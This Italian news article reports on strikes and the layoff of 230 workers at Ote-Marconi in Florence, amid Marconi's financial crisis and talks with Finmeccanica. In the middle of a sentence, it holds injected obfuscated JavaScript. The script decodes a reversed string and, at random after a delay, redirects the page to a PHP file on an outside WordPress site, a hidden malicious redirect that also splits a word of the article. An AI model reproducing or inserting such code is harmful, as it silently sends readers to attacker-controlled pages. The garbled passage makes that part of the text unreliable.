Ote va in frantumi?

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Scioperi alla Ote-Marconi, dopo che il 29 agosto 230 lavoratori (220 nella sola sede di Firenze) sono stati messi in mobilità, senza che fosse stato ancora concluso il processo di messa in mobilità di 50 dipendenti, deciso mesi fa. La ditta, che si occupa di progetto e sviluppo di sistemi di comunicazione radio, conta in tutto 670 dipendenti, di cui 570 a Firenze e gli altri distaccati a Roma, Genova e Pisa. Adesso corre il rischio di essere rivenduta e probabilmente smembrata, per la pessima situazione economica della proprietaria Marconi, in crisi per mancanza di liquidità dovuta a vari investimenti sbagliati. Già divisa in tre settori – difesa, radio mobile privata (Firenze) e umts – resta la paura che vengano venduti i singoli stabilimenti al miglior offerente, interessato più al mercato che all’attività dell’azienda. Il processo di frantumazione delle imprese è controproducente, perché causa di un’incapacità di sviluppo. La soluzione potrebbe venire da una maggiore spinta ad investire sulla qualità e stabilità della forza lavoro, anziché sulla sua precarietà (anche se porterebbe minori guadagni nell’immediato). Altra aggravante è che, in molti settori, la presenza industriale del paese è stata assorbita da gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi multinazionali estere o, nel migliore dei casi, si è ridotta al minimo. All’Italia è rimasto uno spazio per una struttura industriale dedita alla sub-fornitura, e questi sono i risultati. Intanto Finmeccanica, dopo aver acquistato la sede di Genova, si è messa in trattativa anche per l’eventuale acquisto della sede di Firenze. Ma i tempi sembrano dilatarsi, e nel frattempo aumenta la preoccupazione dei lavoratori: il 40% di loro, infatti, rischia il licenziamento. Considerato il pericolo delle ripercussioni sull’intera economia provinciale e sull’indotto, anche le istituzioni regionali si stanno adoperando per trovare una soluzione che salvaguardi l’occupazione e gli insediamenti produttivi presenti nella Regione. Oltre a sollecitare il Governo, affinché finalmente concretizzi l’impegno garantito il marzo scorso a favore dell’acquisizione della Ote da parte di Marconi.

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